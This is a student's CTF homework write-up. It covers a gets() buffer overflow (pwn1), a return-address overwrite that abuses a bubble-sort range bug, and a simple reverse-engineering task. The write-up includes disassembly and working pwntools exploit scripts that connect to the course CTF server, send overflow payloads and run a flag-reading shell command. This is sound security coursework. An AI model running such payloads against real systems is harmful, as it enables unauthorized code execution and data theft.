hw0

0410788 Ching-Wen Cheng

September 29, 2017

Contents

1 Homework0

1.1 pwn1 [50]

Use objdump to inspect the binary, we can see a vulnerable function "callme" and "gets". We know that there was a buffer overflow vulnerabilities, then use gdb to find the payload to overwrite return address of main function. use payload to overwrite return address to "callme".

```
objdump -d -M intel ./pwn1 | tail -n70 | head -n21
```

```
0000000000400566 <callme>:
  400566:       55                            push   rbp
  400567:       48 89 e5                      mov    rbp,rsp
  40056a:       bf 14 06 40 00                mov    edi,0x400614
  40056f:       e8 bc fe ff ff                call   400430 <system@plt>
  400574:       90                            nop
  400575:       5d                            pop    rbp
  400576:       c3                            ret

0000000000400577 <main>:
  400577:       55                            push   rbp
  400578:       48 89 e5                      mov    rbp,rsp
  40057b:       48 83 ec 20                   sub    rsp,0x20
  40057f:       48 8d 45 e0                   lea    rax,[rbp-0x20]
  400583:       48 89 c7                      mov    rdi,rax
  400586:       e8 c5 fe ff ff                call   400450 <gets@plt>
  40058b:       90                            nop
  40058c:       c9                            leave
  40058d:       c3                            ret
  40058e:       66 90                         xchg   ax,ax
```

1.1.1 Code

```
from pwn import *
payload = b"".join([b"A" for i in range(40)]) +
          b"\x66\x05\x40\x00\x00\x00\x00\x00\n\n\n\n\n\n"

with remote("csie.ctf.tw", 10120) as r:
    r.send(payload)
    sleep(1)
    r.sendline("cat /home/‘whoami‘/flag")
    sleep(1)
    f = r.recv().decode("ascii")
    print(f)
```

1.2 BubbleSort [100]

Use objdump to inspect the binary, we can see a vulnerable function "DarkSoul". Then we found that the sort range of BubbleSort is unsign up to 255, So we use BubbleSort to sort the stack include return address. And make the address inserted being sorted to the return address.

```
objdump -d -M intel ./BubbleSort | tail -n253 | head -n9
objdump -d -M intel ./BubbleSort | tail -n197 | head -n58
```

```
08048580 <DarkSoul>:
 8048580:       55                      push   ebp
 8048581:       89 e5                   mov    ebp,esp
 8048583:       83 ec 18                sub    esp,0x18
 8048586:       c7 04 24 98 88 04 08    mov    DWORD PTR [esp],0x8048898
 804858d:       e8 8e fe ff ff          call   8048420 <system@plt>
 8048592:       c9                      leave
 8048593:       c3                      ret

08048628 <BubbleSort>:
 8048628:       55                      push   ebp
 8048629:       89 e5                   mov    ebp,esp
 804862b:       83 ec 14                sub    esp,0x14
 804862e:       8b 45 0c                mov    eax,DWORD PTR [ebp+0xc]
 8048631:       88 45 ec                mov    BYTE PTR [ebp-0x14],al
 8048634:       c7 45 fc 00 00 00 00    mov    DWORD PTR [ebp-0x4],0x0
 804863b:       e9 8c 00 00 00          jmp    80486cc <BubbleSort+0xa4>
 8048640:       8b 45 fc                mov    eax,DWORD PTR [ebp-0x4]
 8048643:       83 c0 01                add    eax,0x1
 8048646:       89 45 f8                mov    DWORD PTR [ebp-0x8],eax
 8048649:       eb 74                   jmp    80486bf <BubbleSort+0x97>
 804864b:       8b 45 fc                mov    eax,DWORD PTR [ebp-0x4]
 804864e:       8d 14 85 00 00 00 00    lea    edx,[eax*4+0x0]
 8048655:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 8048658:       01 d0                   add    eax,edx
 804865a:       8b 10                   mov    edx,DWORD PTR [eax]
 804865c:       8b 45 f8                mov    eax,DWORD PTR [ebp-0x8]
 804865f:       8d 0c 85 00 00 00 00    lea    ecx,[eax*4+0x0]
 8048666:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 8048669:       01 c8                   add    eax,ecx
 804866b:       8b 00                   mov    eax,DWORD PTR [eax]
 804866d:       39 c2                   cmp    edx,eax
 804866f:       7e 4a                   jle    80486bb <BubbleSort+0x93>
 8048671:       8b 45 f8                mov    eax,DWORD PTR [ebp-0x8]
 8048674:       8d 14 85 00 00 00 00    lea    edx,[eax*4+0x0]
 804867b:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 804867e:       01 d0                   add    eax,edx
 8048680:       8b 00                   mov    eax,DWORD PTR [eax]
 8048682:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax
 8048685:       8b 45 f8                mov    eax,DWORD PTR [ebp-0x8]
 8048688:       8d 14 85 00 00 00 00    lea    edx,[eax*4+0x0]
 804868f:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 8048692:       01 c2                   add    edx,eax
 8048694:       8b 45 fc                mov    eax,DWORD PTR [ebp-0x4]
 8048697:       8d 0c 85 00 00 00 00    lea    ecx,[eax*4+0x0]
 804869e:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 80486a1:       01 c8                   add    eax,ecx
 80486a3:       8b 00                   mov    eax,DWORD PTR [eax]
 80486a5:       89 02                   mov    DWORD PTR [edx],eax
 80486a7:       8b 45 fc                mov    eax,DWORD PTR [ebp-0x4]
 80486aa:       8d 14 85 00 00 00 00    lea    edx,[eax*4+0x0]
 80486b1:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 80486b4:       01 c2                   add    edx,eax
 80486b6:       8b 45 f4                mov    eax,DWORD PTR [ebp-0xc]
 80486b9:       89 02                   mov    DWORD PTR [edx],eax
 80486bb:       83 45 f8 01             add    DWORD PTR [ebp-0x8],0x1
 80486bf:       0f b6 45 ec             movzx  eax,BYTE PTR [ebp-0x14]
 80486c3:       3b 45 f8                cmp    eax,DWORD PTR [ebp-0x8]
 80486c6:       7f 83                   jg     804864b <BubbleSort+0x23>
 80486c8:       83 45 fc 01             add    DWORD PTR [ebp-0x4],0x1
 80486cc:       0f b6 45 ec             movzx  eax,BYTE PTR [ebp-0x14]
 80486d0:       3b 45 fc                cmp    eax,DWORD PTR [ebp-0x4]
 80486d3:       0f 8f 67 ff ff ff       jg     8048640 <BubbleSort+0x18>
 80486d9:       90                      nop
 80486da:       c9                      leave
 80486db:       c3                      ret
```

1.2.1 Code

```python
from pwn import *
payload = " ".join([str(0x08048580) for i in range(126)])

with remote("csie.ctf.tw", 10121) as r:
    r.recvuntil(":")
    r.sendline("126")
    r.recvuntil(":")
    r.sendline(payload)
    r.recvuntil(":")
    r.sendline("-1")
    r.recvline()
    sleep(1)
    r.sendline("cat /home/‘whoami‘/flag")
    sleep(1)
    f = r.recv().decode("ascii")
    print(f)
```

```
[x] Opening connection to csie.ctf.tw on port 10121
[x] Opening connection to csie.ctf.tw on port 10121: Trying 140.112.31.96
[+] Opening connection to csie.ctf.tw on port 10121: Done
FLAG{Bubble_sort_is_too_slow_and_this_question_is_too_easy}
[*] Closed connection to csie.ctf.tw port 10121
```

1.3 rev1 [50]

by objdump, we find a "print$_{\text{flag}}$" function. take out the value and decode into flag

```
objdump -d -M intel rev1 | tail -n92 | head -n31
```

```
08048420 <print_flag>:
 8048420:       83 ec 1c                sub    esp,0x1c
 8048423:       c7 04 24 40 a0 04 08    mov    DWORD PTR [esp],0x804a040
 804842a:       c6 05 40 a0 04 08 46    mov    BYTE PTR ds:0x804a040,0x46
 8048431:       c6 05 41 a0 04 08 4c    mov    BYTE PTR ds:0x804a041,0x4c
 8048438:       c6 05 42 a0 04 08 41    mov    BYTE PTR ds:0x804a042,0x41
 804843f:       c6 05 43 a0 04 08 47    mov    BYTE PTR ds:0x804a043,0x47
 8048446:       c6 05 44 a0 04 08 7b    mov    BYTE PTR ds:0x804a044,0x7b
 804844d:       c6 05 45 a0 04 08 5f      mov    BYTE PTR ds:0x804a045,0x5f
 8048454:       c6 05 46 a0 04 08 72      mov    BYTE PTR ds:0x804a046,0x72
 804845b:       c6 05 47 a0 04 08 65      mov    BYTE PTR ds:0x804a047,0x65
 8048462:       c6 05 48 a0 04 08 76      mov    BYTE PTR ds:0x804a048,0x76
 8048469:       c6 05 49 a0 04 08 65      mov    BYTE PTR ds:0x804a049,0x65
 8048470:       c6 05 4a a0 04 08 72      mov    BYTE PTR ds:0x804a04a,0x72
 8048477:       c6 05 4b a0 04 08 73      mov    BYTE PTR ds:0x804a04b,0x73
 804847e:       c6 05 4c a0 04 08 65      mov    BYTE PTR ds:0x804a04c,0x65
 8048485:       c6 05 4d a0 04 08 5f      mov    BYTE PTR ds:0x804a04d,0x5f
 804848c:       c6 05 4e a0 04 08 69      mov    BYTE PTR ds:0x804a04e,0x69
 8048493:       c6 05 4f a0 04 08 73      mov    BYTE PTR ds:0x804a04f,0x73
 804849a:       c6 05 50 a0 04 08 5f      mov    BYTE PTR ds:0x804a050,0x5f
 80484a1:       c6 05 51 a0 04 08 66      mov    BYTE PTR ds:0x804a051,0x66
 80484a8:       c6 05 52 a0 04 08 75      mov    BYTE PTR ds:0x804a052,0x75
 80484af:       c6 05 53 a0 04 08 6e      mov    BYTE PTR ds:0x804a053,0x6e
 80484b6:       c6 05 54 a0 04 08 7d      mov    BYTE PTR ds:0x804a054,0x7d
 80484bd:       c6 05 55 a0 04 08 00      mov    BYTE PTR ds:0x804a055,0x0
 80484c4:       e8 27 fe ff ff            call   80482f0 <puts@plt>
 80484c9:       83 c4 1c                  add    esp,0x1c
 80484cc:       c3                        ret
 80484cd:       66 90                     xchg   ax,ax
 80484cf:       90                        nop
```

1.3.1 Code

```python
print(b"\x46\x4c\x41\x47\x7b\x5f\x72\x65\
\x76\x65\x72\x73\x65\x5f\x69\x73\
\x5f\x66\x75\x6e\x7d".decode("ascii"))
```

```
FLAG{_reverse_is_fun}
```